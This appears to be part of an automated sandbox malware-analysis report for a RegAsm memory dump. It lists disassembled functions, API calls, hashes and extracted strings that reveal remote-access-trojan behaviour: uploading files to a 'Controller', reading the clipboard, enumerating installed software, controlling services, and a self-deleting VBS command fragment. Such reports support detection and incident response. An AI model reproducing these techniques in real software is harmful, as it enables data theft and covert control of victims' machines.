                        • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041C6B1
                        • RegEnumKeyExA.ADVAPI32 ref: 0041C6F5
                        • RegCloseKey.ADVAPI32(?), ref: 0041C9BF
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseEnumOpen
                        • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                        • API String ID: 1332880857-3714951968
                        • Opcode ID: 01bc9fe353fd2bad3d2e5d6b02442aa3bdaad2c57b214901d2918a8b4713c134
                        • Instruction ID: af0903b0dab8fbea49832074ad132f154b97281cd99b968e1e8b6bf9777b958e
                        • Opcode Fuzzy Hash: 01bc9fe353fd2bad3d2e5d6b02442aa3bdaad2c57b214901d2918a8b4713c134
                        • Instruction Fuzzy Hash: 248144711083419BC325EF11D851EEFB7E8BF94309F10492FB589921A1FF78AE49CA5A
                        Function 0041D58F Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON
                        Download Yara Rule
                        APIs
                        • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D5DA
                        • GetCursorPos.USER32(?), ref: 0041D5E9
                        • SetForegroundWindow.USER32(?), ref: 0041D5F2
                        • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D60C
                        • Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D65D
                        • ExitProcess.KERNEL32 ref: 0041D665
                        • CreatePopupMenu.USER32 ref: 0041D66B
                        • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041D680
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                        • String ID: Close
                        • API String ID: 1657328048-3535843008
                        • Opcode ID: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                        • Instruction ID: 483e3be36cf21f9f431d69439bfbb75804d706e25d1e382f075e68ac53faeb55
                        • Opcode Fuzzy Hash: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                        • Instruction Fuzzy Hash: 392127B1944208FFDB194FA4ED0EAAA3B65FB08342F000135FA0A950B1D775EDA1EB5D
                        Function 00445D56 Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free$Info
                        • String ID:
                        • API String ID: 2509303402-0
                        • Opcode ID: c43f3e9ef6aa90fc617fbeb0adb34ec0a6d023508037e2c59db227b807854484
                        • Instruction ID: 88ee944febda996c7adaaf7605242af7944d99fb061a5fd2e4f26fad8993db39
                        • Opcode Fuzzy Hash: c43f3e9ef6aa90fc617fbeb0adb34ec0a6d023508037e2c59db227b807854484
                        • Instruction Fuzzy Hash: 75B1CD719006059FEF20DF69C881BEEBBB4FF09304F14412EF5A8A7242D6799D45CB65
                        Function 00408B7A Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 328fileCOMMON
                        Download Yara Rule
                        APIs
                        • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00408CE3
                        • GetFileSizeEx.KERNEL32(00000000,?), ref: 00408D1B
                        • __aulldiv.LIBCMT ref: 00408D4D
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                        • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 00408E70
                        • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408E8B
                        • CloseHandle.KERNEL32(00000000), ref: 00408F64
                        • CloseHandle.KERNEL32(00000000), ref: 00408FAE
                        • CloseHandle.KERNEL32(00000000), ref: 00408FFC
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
                        • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
                        • API String ID: 3086580692-2582957567
                        • Opcode ID: 72fad283c4fe1643dee5b4a459ce18e644925f4e3f1a855a4ff9453ab0215ac4
                        • Instruction ID: 4fd1ef8f0950b8c70c5ee12d710945c0a569e6ad21e20d2a74dcf75f3ec9a52d
                        • Opcode Fuzzy Hash: 72fad283c4fe1643dee5b4a459ce18e644925f4e3f1a855a4ff9453ab0215ac4
                        • Instruction Fuzzy Hash: 95B193716083409BC314FB25C982AAFB7E5AFC4354F50492FF589622D2EF789945CB8B
                        Function 004512C6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • ___free_lconv_mon.LIBCMT ref: 0045130A
                          • Part of subcall function 00450502: _free.LIBCMT ref: 0045051F
                          • Part of subcall function 00450502: _free.LIBCMT ref: 00450531
                          • Part of subcall function 00450502: _free.LIBCMT ref: 00450543
                          • Part of subcall function 00450502: _free.LIBCMT ref: 00450555
                          • Part of subcall function 00450502: _free.LIBCMT ref: 00450567
                          • Part of subcall function 00450502: _free.LIBCMT ref: 00450579
                          • Part of subcall function 00450502: _free.LIBCMT ref: 0045058B
                          • Part of subcall function 00450502: _free.LIBCMT ref: 0045059D
                          • Part of subcall function 00450502: _free.LIBCMT ref: 004505AF
                          • Part of subcall function 00450502: _free.LIBCMT ref: 004505C1
                          • Part of subcall function 00450502: _free.LIBCMT ref: 004505D3
                          • Part of subcall function 00450502: _free.LIBCMT ref: 004505E5
                          • Part of subcall function 00450502: _free.LIBCMT ref: 004505F7
                        • _free.LIBCMT ref: 004512FF
                          • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                          • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                        • _free.LIBCMT ref: 00451321
                        • _free.LIBCMT ref: 00451336
                        • _free.LIBCMT ref: 00451341
                        • _free.LIBCMT ref: 00451363
                        • _free.LIBCMT ref: 00451376
                        • _free.LIBCMT ref: 00451384
                        • _free.LIBCMT ref: 0045138F
                        • _free.LIBCMT ref: 004513C7
                        • _free.LIBCMT ref: 004513CE
                        • _free.LIBCMT ref: 004513EB
                        • _free.LIBCMT ref: 00451403
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                        • String ID:
                        • API String ID: 161543041-0
                        • Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                        • Instruction ID: 673b37a441ff9bbb7eb6cd98574e5fa8379d72fae64c09c4febd1ea684bb8cd8
                        • Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                        • Instruction Fuzzy Hash: 0E319E315007009FFB20AA7AD845B5B73E8EF0131AF50851FEC68D7662DF78AD448B59
                        Function 00419FB4 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176sleeptimeCOMMON
                        Download Yara Rule
                        APIs
                        • __EH_prolog.LIBCMT ref: 00419FB9
                        • GdiplusStartup.GDIPLUS(00474ACC,?,00000000), ref: 00419FEB
                        • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 0041A077
                        • Sleep.KERNEL32(000003E8), ref: 0041A0FD
                        • GetLocalTime.KERNEL32(?), ref: 0041A105
                        • Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041A1F4
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                        • String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$PG$PG$PG
                        • API String ID: 489098229-1431523004
                        • Opcode ID: c46b288c88e8fad2cac684537be2f5c8f54ab494b41e10cc9a988c1d5ba90d08
                        • Instruction ID: 65e100c03f0dda0ba9a952c873ad8774fe275ee1deca45487f64c7c8a8292b0e
                        • Opcode Fuzzy Hash: c46b288c88e8fad2cac684537be2f5c8f54ab494b41e10cc9a988c1d5ba90d08
                        • Instruction Fuzzy Hash: E7515D70A00215AACB14BBB5C8529ED7BA9AB44308F40403FF509AB1E2EF7C9D85C799
                        Function 0040D7FF Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                          • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                          • Part of subcall function 004136F8: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 00413714
                          • Part of subcall function 004136F8: RegQueryValueExA.KERNEL32 ref: 0041372D
                          • Part of subcall function 004136F8: RegCloseKey.KERNEL32(00000000), ref: 00413738
                        • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D859
                        • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D9B8
                        • ExitProcess.KERNEL32 ref: 0040D9C4
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                        • String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                        • API String ID: 1913171305-3159800282
                        • Opcode ID: 636c7451f86ad7dcbf51a7e77965c9df5bd33ebd3fbbde82d92fca028294b8c2
                        • Instruction ID: 6fc8d312854778a25908ca85050b1cee1951ef16e4956e50e312a563d71e527c
                        • Opcode Fuzzy Hash: 636c7451f86ad7dcbf51a7e77965c9df5bd33ebd3fbbde82d92fca028294b8c2
                        • Instruction Fuzzy Hash: 0C413A719001195ACB15FA62DC56DEEB778AF50309F10007FB10AB61E2EF785E4ACA98
                        Function 00450600 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free
                        • String ID:
                        • API String ID: 269201875-0
                        • Opcode ID: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                        • Instruction ID: d910990a8472ee08c0279d8077499983e41ff25138a9859a729e4309013b5263
                        • Opcode Fuzzy Hash: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                        • Instruction Fuzzy Hash: E2C17476D40204AFEB20DBA9CC83FDE77B8AB19705F14015AFE05EB283D6B49D458798
                        Function 00404E26 Relevance: 18.1, APIs: 12, Instructions: 65synchronizationCOMMON
                        Download Yara Rule
                        APIs
                        • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                        • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                        • CloseHandle.KERNEL32(?), ref: 00404E4C
                        • closesocket.WS2_32(000000FF), ref: 00404E5A
                        • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E91
                        • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00404EA2
                        • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404EA9
                        • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404EBA
                        • CloseHandle.KERNEL32(?), ref: 00404EBF
                        • CloseHandle.KERNEL32(?), ref: 00404EC4
                        • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404ED1
                        • CloseHandle.KERNEL32(?), ref: 00404ED6
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                        • String ID:
                        • API String ID: 3658366068-0
                        • Opcode ID: 0463b1faaa3f7a02a97a49212c31dd980e99cbb732c39645afe60185321c9919
                        • Instruction ID: 0c11cd9b042c69dc9d4dd2828563f6d61870a883144e53252efabab5b24bcc37
                        • Opcode Fuzzy Hash: 0463b1faaa3f7a02a97a49212c31dd980e99cbb732c39645afe60185321c9919
                        • Instruction Fuzzy Hash: BF21E871104B04AFDB216B26DC49B27BBA1FF40326F104A2EE2E211AF1CB75B851DB58
                        Function 00455BDB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                          • Part of subcall function 004558A9: CreateFileW.KERNEL32(00000000,00000000,?,00455C84,?,?,00000000), ref: 004558C6
                        • GetLastError.KERNEL32 ref: 00455CEF
                        • __dosmaperr.LIBCMT ref: 00455CF6
                        • GetFileType.KERNEL32 ref: 00455D02
                        • GetLastError.KERNEL32 ref: 00455D0C
                        • __dosmaperr.LIBCMT ref: 00455D15
                        • CloseHandle.KERNEL32(00000000), ref: 00455D35
                        • CloseHandle.KERNEL32(?), ref: 00455E7F
                        • GetLastError.KERNEL32 ref: 00455EB1
                        • __dosmaperr.LIBCMT ref: 00455EB8
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                        • String ID: H
                        • API String ID: 4237864984-2852464175
                        • Opcode ID: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                        • Instruction ID: f4290dc4267d91ba683862cdaabef3013db21248f4240db41616def06e578eae
                        • Opcode Fuzzy Hash: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                        • Instruction Fuzzy Hash: D5A155329106049FDF19AF68DC617BE3BA0EB06325F14415EEC11EB392CB398D5ACB59
                        Function 00453D83 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 268COMMON
                        Download Yara Rule
                        APIs
                        • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00453E2F
                        • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453EB2
                        • __alloca_probe_16.LIBCMT ref: 00453EEA
                        • MultiByteToWideChar.KERNEL32(00000001,00000001,?,00000001,00000000,\@E,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F45
                        • __alloca_probe_16.LIBCMT ref: 00453F94
                        • MultiByteToWideChar.KERNEL32(00000001,00000009,00000001,00000000,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F5C
                          • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                        • MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453FD8
                        • __freea.LIBCMT ref: 00454003
                        • __freea.LIBCMT ref: 0045400F
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                        • String ID: \@E
                        • API String ID: 201697637-1814623452
                        • Opcode ID: b82298bc980002c4571abe1a7b6d85811e1f97afd47d25fecd247c7af7e2facf
                        • Instruction ID: bd5a1837779a5f2dcb5c2ea5aeb828518df7829aba760434011a70bbc407b236
                        • Opcode Fuzzy Hash: b82298bc980002c4571abe1a7b6d85811e1f97afd47d25fecd247c7af7e2facf
                        • Instruction Fuzzy Hash: E391F472E002069ADB209E65CC42AEFBBF59F09756F14052BFC01E7282D739DD89C768
                        Function 00450A25 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON
                        Download Yara Rule
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free
                        • String ID: \&G$\&G$`&G
                        • API String ID: 269201875-253610517
                        • Opcode ID: 97c3add27e511c4221db80506819b16e682529302af84ee57927f6cd57728be0
                        • Instruction ID: 0b3297c67b001fbc5a9f4fbe1fd197d652097ca420ae28a40b4f72db8b3ed5d1
                        • Opcode Fuzzy Hash: 97c3add27e511c4221db80506819b16e682529302af84ee57927f6cd57728be0
                        • Instruction Fuzzy Hash: 77610475900204AFDB20CFA9C882B9ABBF4EF05315F14416BED58EB342D774AD458B98
                        Function 00414BB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID: 65535$udp
                        • API String ID: 0-1267037602
                        • Opcode ID: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                        • Instruction ID: ff24d6befd6f0703c902a6165bd45161ed4db0fb5f75d2635e7e580b9b2721aa
                        • Opcode Fuzzy Hash: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                        • Instruction Fuzzy Hash: EF51E7756093019FDB209B58E9057BB37A4AFC4755F08082FF881973A1E76DCCC1865E
                        Function 0043A83A Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A892
                        • GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A89F
                        • __dosmaperr.LIBCMT ref: 0043A8A6
                        • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8D2
                        • GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8DC
                        • __dosmaperr.LIBCMT ref: 0043A8E3
                        • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A926
                        • GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A930
                        • __dosmaperr.LIBCMT ref: 0043A937
                        • _free.LIBCMT ref: 0043A943
                        • _free.LIBCMT ref: 0043A94A
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                        • String ID:
                        • API String ID: 2441525078-0
                        • Opcode ID: ad6d2cb2e677ca1b0a2e36bb2f761ff70c692d274a08f618d4296a8b89361871
                        • Instruction ID: 785efe6d9c8e3fffb8b85045f967b8474775cb8629fdf0d32462ae01257f7f2e
                        • Opcode Fuzzy Hash: ad6d2cb2e677ca1b0a2e36bb2f761ff70c692d274a08f618d4296a8b89361871
                        • Instruction Fuzzy Hash: FF31F57140420AFFDF01AFA5CC45DAF3B68EF09325F10021AF950662A1DB38CD21DB6A
                        Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                        Download Yara Rule
                        APIs
                        • SetEvent.KERNEL32(?,?), ref: 004054BF
                        • GetMessageA.USER32 ref: 0040556F
                        • TranslateMessage.USER32(?), ref: 0040557E
                        • DispatchMessageA.USER32 ref: 00405589
                        • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
                        • HeapFree.KERNEL32(00000000,00000000,0000003B), ref: 00405679
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                        • String ID: CloseChat$DisplayMessage$GetMessage
                        • API String ID: 2956720200-749203953
                        • Opcode ID: 2eb2f374b938242071c93788593a146c5cd764c3a8e17b9f296123b837d09fc8
                        • Instruction ID: c1940132788662b917c5ec79ff16bb55de46c7435784779dc5fc992d72e4b12f
                        • Opcode Fuzzy Hash: 2eb2f374b938242071c93788593a146c5cd764c3a8e17b9f296123b837d09fc8
                        • Instruction Fuzzy Hash: CE41A171604701ABCB14FB75DC5A86F37A9AB85704F40093EF916A36E1EF3C8905CB9A
                        Function 00417CDF Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 108filesynchronizationCOMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00417F2C: __EH_prolog.LIBCMT ref: 00417F31
                        • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,004660A4), ref: 00417DDC
                        • CloseHandle.KERNEL32(00000000), ref: 00417DE5
                        • DeleteFileA.KERNEL32(00000000), ref: 00417DF4
                        • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00417DA8
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
                        • String ID: 0VG$0VG$<$@$Temp
                        • API String ID: 1704390241-2575729100
                        • Opcode ID: 80039bebc9300f329d7d4246b0ce8421c0d0be0a5475c1be6c4e1aa994d609e9
                        • Instruction ID: cfce1e327495ca125f9f778a73892d1ad62a3a088d665d9de3c725e9e650d499
                        • Opcode Fuzzy Hash: 80039bebc9300f329d7d4246b0ce8421c0d0be0a5475c1be6c4e1aa994d609e9
                        • Instruction Fuzzy Hash: 0E415F319002099BCB14FB62DC56AEE7775AF40318F50417EF506764E1EF7C1A8ACB99
                        Function 00416940 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 46clipboardCOMMON
                        Download Yara Rule
                        APIs
                        • OpenClipboard.USER32 ref: 00416941
                        • EmptyClipboard.USER32 ref: 0041694F
                        • CloseClipboard.USER32 ref: 00416955
                        • OpenClipboard.USER32 ref: 0041695C
                        • GetClipboardData.USER32 ref: 0041696C
                        • GlobalLock.KERNEL32 ref: 00416975
                        • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                        • CloseClipboard.USER32 ref: 00416984
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                        • String ID: !D@
                        • API String ID: 2172192267-604454484
                        • Opcode ID: 4530cadbb14fddee25ef175d735482f5b7b1ecf010632631c9690fb3e5ed724f
                        • Instruction ID: 305b70c8a6b081cbeb1fc088e42579eafb4add048c4ccd3ac1cf7446a02d8759
                        • Opcode Fuzzy Hash: 4530cadbb14fddee25ef175d735482f5b7b1ecf010632631c9690fb3e5ed724f
                        • Instruction Fuzzy Hash: CC015E31214301DFC714BB72DC09AAE77A5AF88742F40047EF906821E2DF38CC44CA69
                        Function 004132D2 Relevance: 15.2, APIs: 10, Instructions: 153fileCOMMON
                        Download Yara Rule
                        APIs
                        • CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413417
                        • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413425
                        • GetFileSize.KERNEL32(?,00000000), ref: 00413432
                        • UnmapViewOfFile.KERNEL32(00000000), ref: 00413452
                        • CloseHandle.KERNEL32(00000000), ref: 0041345F
                        • CloseHandle.KERNEL32(?), ref: 00413465
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: File$CloseHandleView$CreateMappingSizeUnmap
                        • String ID:
                        • API String ID: 297527592-0
                        • Opcode ID: c8607eadb7f648cd119cf038169f51a0334e47929f95f9aa533bbd49f0d75183
                        • Instruction ID: 9e0538afe5582c7c3c7070a3da709670e2bb39b60280b40541f30be5467d1837
                        • Opcode Fuzzy Hash: c8607eadb7f648cd119cf038169f51a0334e47929f95f9aa533bbd49f0d75183
                        • Instruction Fuzzy Hash: ED41E631108305BBD7109F25DC4AF6B3BACEF89726F10092AFA14D51A2DF38DA40C66E
                        Function 0041AB0D Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                        Download Yara Rule
                        APIs
                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB1C
                        • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB33
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB40
                        • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB4F
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB60
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB63
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
